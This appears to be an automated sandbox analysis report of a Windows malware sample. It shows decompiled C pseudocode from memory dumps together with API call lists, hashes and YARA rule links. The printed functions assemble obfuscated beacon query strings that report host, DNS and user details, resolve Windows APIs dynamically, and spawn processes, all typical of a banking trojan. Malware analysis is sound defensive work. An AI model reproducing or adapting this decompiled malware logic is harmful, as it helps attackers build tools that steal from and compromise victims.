				_t66 = _a8;
				_t44 = _a4;
				if(( *(_t44 + 4) & 0x00000006) != 0) {
					_push(_t89);
					E100022EB(_t66 + 0x10, _t66, 0xffffffff);
					_t46 = 1;
				} else {
					_v12 = _t44;
					_v8 = _a12;
					 *((intOrPtr*)(_t66 - 4)) =  &_v12;
					_t86 =  *(_t66 + 0xc);
					_t80 =  *(_t66 + 8);
					_t49 = E100023A5(_t66);
					_t99 = _t96 + 4;
					if(_t49 == 0) {
						 *(_a4 + 4) =  *(_a4 + 4) | 0x00000008;
						goto L11;
					} else {
						while(_t86 != 0xffffffff) {
							_t53 =  *((intOrPtr*)(_t80 + 4 + (_t86 + _t86 * 2) * 4));
							if(_t53 == 0) {
								L8:
								_t80 =  *(_t66 + 8);
								_t86 = _t80[_t86 + _t86 * 2];
								continue;
							} else {
								_t54 =  *_t53();
								_t89 = _t89;
								_t86 = _t86;
								_t66 = _a8;
								_t55 = _t54;
								_t106 = _t54;
								if(_t106 == 0) {
									goto L8;
								} else {
									if(_t106 < 0) {
										_t46 = 0;
									} else {
										_t82 =  *(_t66 + 8);
										E10002290(_t55, _t66);
										_t89 = _t66 + 0x10;
										E100022EB(_t89, _t66, 0);
										_t99 = _t99 + 0xc;
										E10002387(_t82[2]);
										 *(_t66 + 0xc) =  *_t82;
										_t66 = 0;
										_t86 = 0;
										 *(_t82[2])(1);
										goto L8;
									}
								}
							}
							goto L13;
						}
						L11:
						_t46 = 1;
					}
				}
				L13:
				return _t46;
			}

0x10002188
0x10002189
0x1000218a
0x1000218d
0x1000218f
0x10002192
0x10002193
0x10002195
0x10002196
0x10002197
0x1000219a
0x100021a4
0x10002255
0x1000225c
0x10002265
0x100021aa
0x100021aa
0x100021b0
0x100021b6
0x100021b9
0x100021bc
0x100021c0
0x100021c5
0x100021ca
0x1000224a
0x00000000
0x100021cc
0x100021cc
0x100021d8
0x100021da
0x10002235
0x10002235
0x1000223b
0x00000000
0x100021dc
0x100021eb
0x100021ed
0x100021ee
0x100021ef
0x100021f2
0x100021f2
0x100021f4
0x00000000
0x100021f6
0x100021f6
0x10002240
0x100021f8
0x100021f8
0x100021fc
0x10002204
0x10002209
0x1000220e
0x1000221a
0x10002222
0x10002229
0x1000222f
0x10002233
0x00000000
0x10002233
0x100021f6
0x100021f4
0x00000000
0x100021da
0x1000224e
0x1000224e
0x1000224e
0x100021ca
0x1000226a
0x10002271

Memory Dump Source

Source File: 00000000.00000002.497616877.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.497593302.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.497662482.0000000010003000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.497710590.0000000010005000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.497734252.0000000010006000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 12a7070065f657aa0aacf06b7ef6137888dfa06173cfdd6141a47a1bb7c7c469
Instruction ID: adb68764e4b497ef4a4b49f2527e322eb7aaba1ac7dc589ecd7eb92557e13467
Opcode Fuzzy Hash: 12a7070065f657aa0aacf06b7ef6137888dfa06173cfdd6141a47a1bb7c7c469
Instruction Fuzzy Hash: 9221CB76900205AFD710DFA8CCC09A7F7A5FF49390B468169ED599B249D730FA15C7E0

Uniqueness

Uniqueness Score: -1.00%

Function 0140AF80, Relevance: .1, Instructions: 77
COMMONCrypto

Download Yara Rule

C-Code - Quality: 71%

			E0140AF80(signed int* __eax, void* __ebx, signed int __edx, char _a4, long _a8, intOrPtr _a12) {
				intOrPtr _v8;
				char _v12;
				void* __ebp;
				signed int* _t43;
				char _t44;
				void* _t46;
				void* _t49;
				intOrPtr* _t53;
				void* _t54;
				void* _t65;
				long _t66;
				signed int* _t80;
				signed int* _t82;
				void* _t84;
				signed int _t86;
				void* _t89;
				void* _t95;
				void* _t96;
				void* _t99;
				void* _t106;

				_t43 = _t84;
				_t65 = __ebx + 2;
				 *_t43 =  *_t43 ^ __edx ^  *__eax;
				_t89 = _t95;
				_t96 = _t95 - 8;
				_push(_t65);
				_push(_t84);
				_push(_t89);
				asm("cld");
				_t66 = _a8;
				_t44 = _a4;
				if(( *(_t44 + 4) & 0x00000006) != 0) {
					_push(_t89);
					E0140B0EB(_t66 + 0x10, _t66, 0xffffffff);
					_t46 = 1;
				} else {
					_v12 = _t44;
					_v8 = _a12;
					 *((intOrPtr*)(_t66 - 4)) =  &_v12;
					_t86 =  *(_t66 + 0xc);
					_t80 =  *(_t66 + 8);
					_t49 = E0140B1A5(_t66);
					_t99 = _t96 + 4;
					if(_t49 == 0) {
						 *(_a4 + 4) =  *(_a4 + 4) | 0x00000008;
						goto L11;
					} else {
						while(_t86 != 0xffffffff) {
							_t53 =  *((intOrPtr*)(_t80 + 4 + (_t86 + _t86 * 2) * 4));
							if(_t53 == 0) {
								L8:
								_t80 =  *(_t66 + 8);
								_t86 = _t80[_t86 + _t86 * 2];
								continue;
							} else {
								_t54 =  *_t53();
								_t89 = _t89;
								_t86 = _t86;
								_t66 = _a8;
								_t55 = _t54;
								_t106 = _t54;
								if(_t106 == 0) {
									goto L8;
								} else {
									if(_t106 < 0) {
										_t46 = 0;
									} else {
										_t82 =  *(_t66 + 8);
										E0140B090(_t55, _t66);
										_t89 = _t66 + 0x10;
										E0140B0EB(_t89, _t66, 0);
										_t99 = _t99 + 0xc;
										E0140B187(_t82[2]);
										 *(_t66 + 0xc) =  *_t82;
										_t66 = 0;
										_t86 = 0;
										 *(_t82[2])(1);
										goto L8;
									}
								}
							}
							goto L13;
						}
						L11:
						_t46 = 1;
					}
				}
				L13:
				return _t46;
			}

0x0140af84
0x0140af85
0x0140af86
0x0140af89
0x0140af8b
0x0140af8e
0x0140af8f
0x0140af91
0x0140af92
0x0140af93
0x0140af96
0x0140afa0
0x0140b051
0x0140b058
0x0140b061
0x0140afa6
0x0140afa6
0x0140afac
0x0140afb2
0x0140afb5
0x0140afb8
0x0140afbc
0x0140afc1
0x0140afc6
0x0140b046
0x00000000
0x0140afc8
0x0140afc8
0x0140afd4
0x0140afd6
0x0140b031
0x0140b031
0x0140b037
0x00000000
0x0140afd8
0x0140afe7
0x0140afe9
0x0140afea
0x0140afeb
0x0140afee
0x0140afee
0x0140aff0
0x00000000
0x0140aff2
0x0140aff2
0x0140b03c
0x0140aff4
0x0140aff4
0x0140aff8
0x0140b000
0x0140b005
0x0140b00a
0x0140b016
0x0140b01e
0x0140b025
0x0140b02b
0x0140b02f
0x00000000
0x0140b02f
0x0140aff2
0x0140aff0
0x00000000
0x0140afd6
0x0140b04a
0x0140b04a
0x0140b04a
0x0140afc6
0x0140b066
0x0140b06d

Memory Dump Source

Source File: 00000000.00000002.490988576.0000000001401000.00000020.00000001.sdmp, Offset: 01400000, based on PE: true

Associated: 00000000.00000002.490939945.0000000001400000.00000004.00000001.sdmp Download File
Associated: 00000000.00000002.491386586.000000000140C000.00000002.00000001.sdmp Download File
Associated: 00000000.00000002.491449877.000000000140D000.00000004.00000001.sdmp Download File
Associated: 00000000.00000002.491530336.000000000140F000.00000002.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4f37e18b72ef76f3e50d9b898edfd48ae2b22ba2880acf1ff50920e361efee75
Instruction ID: 6fad553a1182ba14fafc733e55b499ad030ec3a6e63abebe14d433576b2534b3
Opcode Fuzzy Hash: 4f37e18b72ef76f3e50d9b898edfd48ae2b22ba2880acf1ff50920e361efee75
Instruction Fuzzy Hash: E72106B69002049FDB11EF6AC8C09ABBBA5FF58350B05807ADD259B295D730F915C7E0

Uniqueness

Uniqueness Score: -1.00%

Function 01401F13, Relevance: 34.7, APIs: 23, Instructions: 201
memorystringCOMMON

Download Yara Rule

C-Code - Quality: 66%

			E01401F13(long __eax, void* __ecx, void* __edx, intOrPtr _a4, intOrPtr _a12, void* _a16, void* _a24, intOrPtr _a32) {
				intOrPtr _v0;
				intOrPtr _v4;
				intOrPtr _v16;
				intOrPtr _v24;
				intOrPtr _v28;
				void* _v44;
				intOrPtr _v52;
				void* __edi;
				long _t25;
				intOrPtr _t26;
				intOrPtr _t27;
				intOrPtr _t28;
				intOrPtr _t29;
				intOrPtr _t30;
				void* _t33;
				intOrPtr _t34;
				int _t37;
				intOrPtr _t42;
				intOrPtr _t43;
				intOrPtr _t50;
				intOrPtr _t54;
				intOrPtr* _t56;
				intOrPtr _t62;
				intOrPtr _t68;
				intOrPtr _t71;
				intOrPtr _t74;
				int _t77;
				intOrPtr _t78;
				int _t81;
				intOrPtr _t83;
				int _t86;
				intOrPtr* _t89;
				intOrPtr* _t90;
				void* _t91;
				void* _t95;
				void* _t96;
				void* _t97;
				intOrPtr _t98;
				void* _t100;
				int _t101;
				void* _t102;
				void* _t103;
				void* _t105;
				void* _t106;
				void* _t108;

				_t95 = __edx;
				_t91 = __ecx;
				_t25 = __eax;
				_t105 = _a16;
				_v4 = 8;
				if(__eax == 0) {
					_t25 = GetTickCount();
				}
				_t26 =  *0x140d018; // 0xb20846e7
				asm("bswap eax");
				_t27 =  *0x140d014; // 0x3a87c8cd
				asm("bswap eax");
				_t28 =  *0x140d010; // 0xd8d2f808
				asm("bswap eax");
				_t29 =  *0x140d00c; // 0x8f8f86c2
				asm("bswap eax");
				_t30 =  *0x140d2a8; // 0x10fa5a8
				_t3 = _t30 + 0x140e633; // 0x74666f73
				_t101 = wsprintfA(_t105, _t3, 2, 0x3d15e, _t29, _t28, _t27, _t26,  *0x140d02c,  *0x140d004, _t25);
				_t33 = E014056CD();
				_t34 =  *0x140d2a8; // 0x10fa5a8
				_t4 = _t34 + 0x140e673; // 0x74707526
				_t37 = wsprintfA(_t101 + _t105, _t4, _t33);
				_t108 = _t106 + 0x38;
				_t102 = _t101 + _t37;
				_t96 = E014058DB(_t91);
				if(_t96 != 0) {
					_t83 =  *0x140d2a8; // 0x10fa5a8
					_t6 = _t83 + 0x140e8d4; // 0x736e6426
					_t86 = wsprintfA(_t102 + _t105, _t6, _t96);
					_t108 = _t108 + 0xc;
					_t102 = _t102 + _t86;
					HeapFree( *0x140d238, 0, _t96);
				}
				_t97 = E0140A199();
				if(_t97 != 0) {
					_t78 =  *0x140d2a8; // 0x10fa5a8
					_t8 = _t78 + 0x140e8dc; // 0x6f687726
					_t81 = wsprintfA(_t102 + _t105, _t8, _t97);
					_t108 = _t108 + 0xc;
					_t102 = _t102 + _t81;
					HeapFree( *0x140d238, 0, _t97);
				}
				_t98 =  *0x140d32c; // 0x25095b0
				_a32 = E01404622(0x140d00a, _t98 + 4);
				_t42 =  *0x140d2d0; // 0x0
				if(_t42 != 0) {
					_t74 =  *0x140d2a8; // 0x10fa5a8
					_t11 = _t74 + 0x140e8b6; // 0x3d736f26
					_t77 = wsprintfA(_t102 + _t105, _t11, _t42);
					_t108 = _t108 + 0xc;
					_t102 = _t102 + _t77;
				}
				_t43 =  *0x140d2cc; // 0x0
				if(_t43 != 0) {
					_t71 =  *0x140d2a8; // 0x10fa5a8
					_t13 = _t71 + 0x140e88d; // 0x3d706926
					wsprintfA(_t102 + _t105, _t13, _t43);
				}
				if(_a32 != 0) {
					_t100 = RtlAllocateHeap( *0x140d238, 0, 0x800);
					if(_t100 != 0) {
						E0140518F(GetTickCount());
						_t50 =  *0x140d32c; // 0x25095b0
						__imp__(_t50 + 0x40);
						asm("lock xadd [eax], ecx");
						_t54 =  *0x140d32c; // 0x25095b0
						__imp__(_t54 + 0x40);
						_t56 =  *0x140d32c; // 0x25095b0
						_t103 = E01401BB6(1, _t95, _t105,  *_t56);
						asm("lock xadd [eax], ecx");
						if(_t103 != 0) {
							StrTrimA(_t103, 0x140c28c);
							_push(_t103);
							_t62 = E0140361A();
							_v16 = _t62;
							if(_t62 != 0) {
								_t89 = __imp__;
								 *_t89(_t103, _v0);
								 *_t89(_t100, _a4);
								_t90 = __imp__;
								 *_t90(_t100, _v28);
								 *_t90(_t100, _t103);
								_t68 = E01406777(0xffffffffffffffff, _t100, _v28, _v24);
								_v52 = _t68;
								if(_t68 != 0 && _t68 != 0x10d2) {
									E01406761();
								}
								HeapFree( *0x140d238, 0, _v44);
							}
							HeapFree( *0x140d238, 0, _t103);
						}
						HeapFree( *0x140d238, 0, _t100);
					}
					HeapFree( *0x140d238, 0, _a24);
				}
				HeapFree( *0x140d238, 0, _t105);
				return _a12;
			}

0x01401f13
0x01401f13
0x01401f13
0x01401f18
0x01401f1e
0x01401f28
0x01401f2a
0x01401f2a
0x01401f37
0x01401f42
0x01401f45
0x01401f50
0x01401f53
0x01401f58
0x01401f5b
0x01401f60
0x01401f63
0x01401f6f
0x01401f7c
0x01401f7e
0x01401f84
0x01401f89
0x01401f94
0x01401f96
0x01401f99
0x01401fa0
0x01401fa4
0x01401fa6
0x01401fab
0x01401fb7
0x01401fb9
0x01401fc5
0x01401fc7
0x01401fc7
0x01401fd2
0x01401fd6
0x01401fd8
0x01401fdd
0x01401fe9
0x01401feb
0x01401ff7
0x01401ff9
0x01401ff9
0x01401fff
0x01402012
0x01402016
0x0140201d
0x01402020
0x01402025
0x01402030
0x01402032
0x01402035
0x01402035
0x01402037
0x0140203e
0x01402041
0x01402046
0x01402050
0x01402052
0x0140205a
0x01402073
0x01402077
0x01402083
0x01402088
0x01402091
0x014020a2
0x014020a6
0x014020af
0x014020b5
0x014020c2
0x014020cf
0x014020d5
0x014020e1
0x014020e7
0x014020e8
0x014020ed
0x014020f3
0x014020f9
0x01402100
0x01402107
0x0140210d
0x01402114
0x01402118
0x01402123
0x01402128
0x0140212e
0x01402137
0x01402137
0x01402148
0x01402148
0x01402157
0x01402157
0x01402166
0x01402166
0x01402178
0x01402178
0x01402187
0x01402198

APIs

GetTickCount.KERNEL32 ref: 01401F2A
wsprintfA.USER32 ref: 01401F77
wsprintfA.USER32 ref: 01401F94
wsprintfA.USER32 ref: 01401FB7
HeapFree.KERNEL32(00000000,00000000), ref: 01401FC7
wsprintfA.USER32 ref: 01401FE9
HeapFree.KERNEL32(00000000,00000000), ref: 01401FF9
wsprintfA.USER32 ref: 01402030
wsprintfA.USER32 ref: 01402050
RtlAllocateHeap.NTDLL(00000000,00000800), ref: 0140206D
GetTickCount.KERNEL32 ref: 0140207D
RtlEnterCriticalSection.NTDLL(02509570), ref: 01402091
RtlLeaveCriticalSection.NTDLL(02509570), ref: 014020AF

Part of subcall function 01401BB6: lstrlen.KERNEL32(00000000,253D7325,00000000,00000000,74ECC740,?,?,014020C2,?,025095B0), ref: 01401BE1
Part of subcall function 01401BB6: lstrlen.KERNEL32(?,?,?,014020C2,?,025095B0), ref: 01401BE9
Part of subcall function 01401BB6: strcpy.NTDLL ref: 01401C00
Part of subcall function 01401BB6: lstrcat.KERNEL32(00000000,?), ref: 01401C0B
Part of subcall function 01401BB6: StrTrimA.SHLWAPI(00000000,=,00000000,00000000,?,?,?,014020C2,?,025095B0), ref: 01401C28

StrTrimA.SHLWAPI(00000000,0140C28C,?,025095B0), ref: 014020E1

Part of subcall function 0140361A: lstrlen.KERNEL32(02509A78,00000000,00000000,74ECC740,014020ED,00000000), ref: 0140362A
Part of subcall function 0140361A: lstrlen.KERNEL32(?), ref: 01403632
Part of subcall function 0140361A: lstrcpy.KERNEL32(00000000,02509A78), ref: 01403646
Part of subcall function 0140361A: lstrcat.KERNEL32(00000000,?), ref: 01403651

lstrcpy.KERNEL32(00000000,?), ref: 01402100
lstrcpy.KERNEL32(00000000,00000000), ref: 01402107
lstrcat.KERNEL32(00000000,?), ref: 01402114
lstrcat.KERNEL32(00000000,00000000), ref: 01402118

Part of subcall function 01406777: WaitForSingleObject.KERNEL32(00000000,00000000,00000000,751881D0), ref: 01406829

HeapFree.KERNEL32(00000000,?,00000000,?,?), ref: 01402148
HeapFree.KERNEL32(00000000,00000000,00000000), ref: 01402157
HeapFree.KERNEL32(00000000,00000000,?,025095B0), ref: 01402166
HeapFree.KERNEL32(00000000,00000000), ref: 01402178
HeapFree.KERNEL32(00000000,?), ref: 01402187

Memory Dump Source

Source File: 00000000.00000002.490988576.0000000001401000.00000020.00000001.sdmp, Offset: 01400000, based on PE: true

Associated: 00000000.00000002.490939945.0000000001400000.00000004.00000001.sdmp Download File
Associated: 00000000.00000002.491386586.000000000140C000.00000002.00000001.sdmp Download File
Associated: 00000000.00000002.491449877.000000000140D000.00000004.00000001.sdmp Download File
Associated: 00000000.00000002.491530336.000000000140F000.00000002.00000001.sdmp Download File

Similarity

API ID: Heap$Free$wsprintf$lstrcatlstrlen$lstrcpy$CountCriticalSectionTickTrim$AllocateEnterLeaveObjectSingleWaitstrcpy
String ID:
API String ID: 3080378247-0
Opcode ID: 9cb2d0dc946d82b40bf12f3efc44fc0ed29957c628f0a83b1b83809d86b4909f
Instruction ID: 25fec6a4719d61457399c217e4ca898700c05dab9f00bc8e5f81f05b384a3582
Opcode Fuzzy Hash: 9cb2d0dc946d82b40bf12f3efc44fc0ed29957c628f0a83b1b83809d86b4909f
Instruction Fuzzy Hash: CC618F71900201AFD723DFEBEE88E567BA9EB49350F040529FA08D72B4DB34D819DB65

Uniqueness

Uniqueness Score: -1.00%

Function 01406C38, Relevance: 13.6, APIs: 9, Instructions: 112
stringCOMMON

Download Yara Rule

C-Code - Quality: 27%

			E01406C38(intOrPtr _a4, WCHAR* _a8, WCHAR* _a12, intOrPtr* _a16, intOrPtr* _a20) {
				intOrPtr _v8;
				intOrPtr _v12;
				long _v16;
				intOrPtr _v20;
				signed int _v24;
				void* __esi;
				long _t43;
				intOrPtr _t44;
				intOrPtr _t46;
				void* _t48;
				void* _t49;
				void* _t50;
				intOrPtr _t54;
				intOrPtr _t57;
				void* _t58;
				void* _t59;
				void* _t60;
				intOrPtr _t66;
				void* _t71;
				void* _t74;
				intOrPtr _t75;
				void* _t77;
				intOrPtr _t79;
				intOrPtr* _t80;
				intOrPtr _t91;

				_t79 =  *0x140d33c; // 0x2509798
				_v24 = 8;
				_t43 = GetTickCount();
				_push(5);
				_t74 = 0xa;
				_v16 = _t43;
				_t44 = E0140A557(_t74,  &_v16);
				_v8 = _t44;
				if(_t44 == 0) {
					_v8 = 0x140c18c;
				}
				_t46 = E014018A5(_t79);
				_v12 = _t46;
				if(_t46 != 0) {
					_t80 = __imp__;
					_t48 =  *_t80(_v8, _t71);
					_t49 =  *_t80(_v12);
					_t50 =  *_t80(_a4);
					_t54 = E0140A71F(lstrlenW(_a8) + _t48 + _t48 + _t49 + _t50 + lstrlenW(_a8) + _t48 + _t48 + _t49 + _t50 + 0x102);
					_v20 = _t54;
					if(_t54 != 0) {
						_t75 =  *0x140d2a8; // 0x10fa5a8
						_t16 = _t75 + 0x140eb08; // 0x530025
						 *0x140d118(_t54, _t16, _v8, _v8, _a4, _v12, _a8);
						_push(4);
						_t77 = 5;
						_t57 = E0140A557(_t77,  &_v16);
						_v8 = _t57;
						if(_t57 == 0) {
							_v8 = 0x140c190;
						}
						_t58 =  *_t80(_v8);
						_t59 =  *_t80(_v12);
						_t60 =  *_t80(_a4);
						_t91 = E0140A71F(lstrlenW(_a12) + _t58 + _t58 + _t59 + _t60 + lstrlenW(_a12) + _t58 + _t58 + _t59 + _t60 + 0x13a);
						if(_t91 == 0) {
							E0140A734(_v20);
						} else {
							_t66 =  *0x140d2a8; // 0x10fa5a8
							_t31 = _t66 + 0x140ec28; // 0x73006d
							 *0x140d118(_t91, _t31, _v8, _v8, _a4, _v12, _a12);
							 *_a16 = _v20;
							_v24 = _v24 & 0x00000000;
							 *_a20 = _t91;
						}
					}
					E0140A734(_v12);
				}
				return _v24;
			}

0x01406c40
0x01406c46
0x01406c4d
0x01406c53
0x01406c57
0x01406c5b
0x01406c5e
0x01406c63
0x01406c68
0x01406c6a
0x01406c6a
0x01406c73
0x01406c78
0x01406c7d
0x01406c83
0x01406c8d
0x01406c96
0x01406c9d
0x01406cb6
0x01406cbb
0x01406cc0
0x01406cc9
0x01406cd2
0x01406ce3
0x01406cec
0x01406cf0
0x01406cf4
0x01406cf9
0x01406cfe
0x01406d00
0x01406d00
0x01406d0a
0x01406d13
0x01406d1a
0x01406d32
0x01406d36
0x01406d73
0x01406d38
0x01406d3b
0x01406d43
0x01406d54
0x01406d60
0x01406d68
0x01406d6c
0x01406d6c
0x01406d36
0x01406d7b
0x01406d80
0x01406d87

APIs

GetTickCount.KERNEL32 ref: 01406C4D
lstrlen.KERNEL32(?,80000002,00000005), ref: 01406C8D
lstrlen.KERNEL32(00000000), ref: 01406C96
lstrlen.KERNEL32(00000000), ref: 01406C9D
lstrlenW.KERNEL32(80000002), ref: 01406CAA
lstrlen.KERNEL32(?,00000004), ref: 01406D0A
lstrlen.KERNEL32(?), ref: 01406D13
lstrlen.KERNEL32(?), ref: 01406D1A
lstrlenW.KERNEL32(?), ref: 01406D21

Part of subcall function 0140A734: HeapFree.KERNEL32(00000000,00000000,01405637,00000000,?,?,00000000), ref: 0140A740

Memory Dump Source

Source File: 00000000.00000002.490988576.0000000001401000.00000020.00000001.sdmp, Offset: 01400000, based on PE: true

Associated: 00000000.00000002.490939945.0000000001400000.00000004.00000001.sdmp Download File
Associated: 00000000.00000002.491386586.000000000140C000.00000002.00000001.sdmp Download File
Associated: 00000000.00000002.491449877.000000000140D000.00000004.00000001.sdmp Download File
Associated: 00000000.00000002.491530336.000000000140F000.00000002.00000001.sdmp Download File

Similarity

API ID: lstrlen$CountFreeHeapTick
String ID:
API String ID: 2535036572-0
Opcode ID: fb3eae99b3fd8825c88815afbe6f6fb546e44183ca2d3810894c5724501207c1
Instruction ID: 7e945166060e6c31152799ed1425bf2e1c80a35e14dbfc86ba981be5ac0cc208
Opcode Fuzzy Hash: fb3eae99b3fd8825c88815afbe6f6fb546e44183ca2d3810894c5724501207c1
Instruction Fuzzy Hash: 48418B72C00209FBCF12AFEACC08D9E7BB5EF44304F154066E905AB261DB35DA65EB90

Uniqueness

Uniqueness Score: -1.00%

Function 01408EA1, Relevance: 10.6, APIs: 7, Instructions: 109
librarymemoryloaderCOMMON

Download Yara Rule

C-Code - Quality: 73%

			E01408EA1(void* __eax, void* __ecx) {
				long _v8;
				char _v12;
				void* _v16;
				void* _v28;
				long _v32;
				void _v104;
				char _v108;
				long _t36;
				intOrPtr _t40;
				intOrPtr _t47;
				intOrPtr _t50;
				void* _t58;
				void* _t68;
				intOrPtr* _t70;
				intOrPtr* _t71;

				_t1 = __eax + 0x14; // 0x74183966
				_t69 =  *_t1;
				_t36 = E0140592D(__ecx,  *((intOrPtr*)( *_t1 + 0xc)),  &_v12,  &_v16);
				_v8 = _t36;
				if(_t36 != 0) {
					L12:
					return _v8;
				}
				E0140A749( *((intOrPtr*)(_t69 + 0xc)),  *((intOrPtr*)(_t69 + 8)), _v12);
				_t40 = _v12(_v12);
				_v8 = _t40;
				if(_t40 == 0 && ( *0x140d260 & 0x00000001) != 0) {
					_v32 = 0;
					asm("stosd");
					asm("stosd");
					asm("stosd");
					_v108 = 0;
					memset( &_v104, 0, 0x40);
					_t47 =  *0x140d2a8; // 0x10fa5a8
					_t18 = _t47 + 0x140e3e6; // 0x73797325
					_t68 = E01403C48(_t18);
					if(_t68 == 0) {
						_v8 = 8;
					} else {
						_t50 =  *0x140d2a8; // 0x10fa5a8
						_t19 = _t50 + 0x140e747; // 0x2508cef
						_t20 = _t50 + 0x140e0af; // 0x4e52454b
						_t71 = GetProcAddress(GetModuleHandleA(_t20), _t19);
						if(_t71 == 0) {
							_v8 = 0x7f;
						} else {
							_v108 = 0x44;
							E0140A62D();
							_t58 =  *_t71(0, _t68, 0, 0, 0, 0x4000000, 0, 0,  &_v108,  &_v32, 0);
							_push(1);
							E0140A62D();
							if(_t58 == 0) {
								_v8 = GetLastError();
							} else {
								CloseHandle(_v28);
								CloseHandle(_v32);
							}
						}
						HeapFree( *0x140d238, 0, _t68);
					}
				}
				_t70 = _v16;
				 *((intOrPtr*)(_t70 + 0x18))( *((intOrPtr*)(_t70 + 0x1c))( *_t70));
				E0140A734(_t70);
				goto L12;
			}

0x01408ea9
0x01408ea9
0x01408eb8
0x01408ebf
0x01408ec4
0x01408fd1
0x01408fd8
0x01408fd8
0x01408ed3
0x01408edb
0x01408ede
0x01408ee3
0x01408ef8
0x01408efe
0x01408eff
0x01408f02
0x01408f08
0x01408f0b
0x01408f10
0x01408f18
0x01408f24
0x01408f28
0x01408fb8
0x01408f2e
0x01408f2e
0x01408f33
0x01408f3a
0x01408f4e
0x01408f52
0x01408fa1
0x01408f54
0x01408f55
0x01408f5c
0x01408f75
0x01408f77
0x01408f7b
0x01408f82
0x01408f9c
0x01408f84
0x01408f8d
0x01408f92
0x01408f92
0x01408f82
0x01408fb0
0x01408fb0
0x01408f28
0x01408fbf
0x01408fc8
0x01408fcc
0x00000000

APIs

Part of subcall function 0140592D: GetModuleHandleA.KERNEL32(4C44544E,00000020,?,74183966,00000000,?,?,?,01408EBD,?,00000001,?,?,00000000,00000000), ref: 01405952
Part of subcall function 0140592D: GetProcAddress.KERNEL32(00000000,7243775A), ref: 01405974
Part of subcall function 0140592D: GetProcAddress.KERNEL32(00000000,614D775A), ref: 0140598A
Part of subcall function 0140592D: GetProcAddress.KERNEL32(00000000,6E55775A), ref: 014059A0
Part of subcall function 0140592D: GetProcAddress.KERNEL32(00000000,4E6C7452), ref: 014059B6
Part of subcall function 0140592D: GetProcAddress.KERNEL32(00000000,6C43775A), ref: 014059CC

memset.NTDLL ref: 01408F0B

Part of subcall function 01403C48: ExpandEnvironmentStringsA.KERNEL32(00000000,00000000,00000000,00000000,74183966,00000000,01408F24,73797325), ref: 01403C59
Part of subcall function 01403C48: ExpandEnvironmentStringsA.KERNEL32(?,00000000,00000000,00000000), ref: 01403C73

GetModuleHandleA.KERNEL32(4E52454B,02508CEF,73797325), ref: 01408F41
GetProcAddress.KERNEL32(00000000), ref: 01408F48
HeapFree.KERNEL32(00000000,00000000), ref: 01408FB0

Part of subcall function 0140A62D: GetProcAddress.KERNEL32(36776F57,0140A2D4), ref: 0140A648

CloseHandle.KERNEL32(00000000,00000001), ref: 01408F8D
CloseHandle.KERNEL32(?), ref: 01408F92
GetLastError.KERNEL32(00000001), ref: 01408F96

Memory Dump Source

Source File: 00000000.00000002.490988576.0000000001401000.00000020.00000001.sdmp, Offset: 01400000, based on PE: true

Associated: 00000000.00000002.490939945.0000000001400000.00000004.00000001.sdmp Download File
Associated: 00000000.00000002.491386586.000000000140C000.00000002.00000001.sdmp Download File
Associated: 00000000.00000002.491449877.000000000140D000.00000004.00000001.sdmp Download File
Associated: 00000000.00000002.491530336.000000000140F000.00000002.00000001.sdmp Download File

Similarity

API ID: AddressProc$Handle$CloseEnvironmentExpandModuleStrings$ErrorFreeHeapLastmemset
String ID:
API String ID: 3075724336-0
Opcode ID: 5280418f89d3ee66a22ad7bb32bdbb975ded156efa7625f1b3c595fe70cbc955
Instruction ID: 8c5754bcb384eebfa30f0093e2797ba65f719ffeb4b6f27f483176d27eaa0c47
Opcode Fuzzy Hash: 5280418f89d3ee66a22ad7bb32bdbb975ded156efa7625f1b3c595fe70cbc955
Instruction Fuzzy Hash: 39314FB2C00209BFDB22AFE6CD8899EBBBDEB44254F10457AE605A7260D7349949CB50

Uniqueness

Uniqueness Score: -1.00%

Function 01401BB6, Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 68
stringCOMMON

Download Yara Rule

C-Code - Quality: 63%

			E01401BB6(void* __ecx, void* __edx, intOrPtr _a4, intOrPtr _a8) {
				intOrPtr _v8;
				intOrPtr _t9;
				intOrPtr _t13;
				char* _t28;
				void* _t33;
				void* _t34;
				char* _t36;
				intOrPtr* _t40;
				char* _t41;
				char* _t42;
				char* _t43;

				_t34 = __edx;
				_push(__ecx);
				_t9 =  *0x140d2a8; // 0x10fa5a8
				_t1 = _t9 + 0x140e62c; // 0x253d7325
				_t36 = 0;
				_t28 = E0140173D(__ecx, _t1);
				if(_t28 != 0) {
					_t40 = __imp__;
					_t13 =  *_t40(_t28);
					_v8 = _t13;
					_t41 = E0140A71F(_v8 +  *_t40(_a4) + 1);
					if(_t41 != 0) {
						strcpy(_t41, _t28);
						_pop(_t33);
						__imp__(_t41, _a4);
						_t36 = E014064EF(_t34, _t41, _a8);
						E0140A734(_t41);
						_t42 = E01406467(StrTrimA(_t36, "="), _t36);
						if(_t42 != 0) {
							E0140A734(_t36);
							_t36 = _t42;
						}
						_t43 = E014017E5(_t36, _t33);
						if(_t43 != 0) {
							E0140A734(_t36);
							_t36 = _t43;
						}
					}
					E0140A734(_t28);
				}
				return _t36;
			}

0x01401bb6
0x01401bb9
0x01401bba
0x01401bc2
0x01401bc9
0x01401bd0
0x01401bd4
0x01401bda
0x01401be1
0x01401be6
0x01401bf8
0x01401bfc
0x01401c00
0x01401c06
0x01401c0b
0x01401c1b
0x01401c1d
0x01401c34
0x01401c38
0x01401c3b
0x01401c40
0x01401c40
0x01401c49
0x01401c4d
0x01401c50
0x01401c55
0x01401c55
0x01401c4d
0x01401c58
0x01401c58
0x01401c63

APIs

Part of subcall function 0140173D: lstrlen.KERNEL32(00000000,00000000,00000000,74ECC740,?,?,?,01401BD0,253D7325,00000000,00000000,74ECC740,?,?,014020C2,?), ref: 014017A4
Part of subcall function 0140173D: sprintf.NTDLL ref: 014017C5

lstrlen.KERNEL32(00000000,253D7325,00000000,00000000,74ECC740,?,?,014020C2,?,025095B0), ref: 01401BE1
lstrlen.KERNEL32(?,?,?,014020C2,?,025095B0), ref: 01401BE9

Part of subcall function 0140A71F: RtlAllocateHeap.NTDLL(00000000,00000000,01405595), ref: 0140A72B

strcpy.NTDLL ref: 01401C00
lstrcat.KERNEL32(00000000,?), ref: 01401C0B

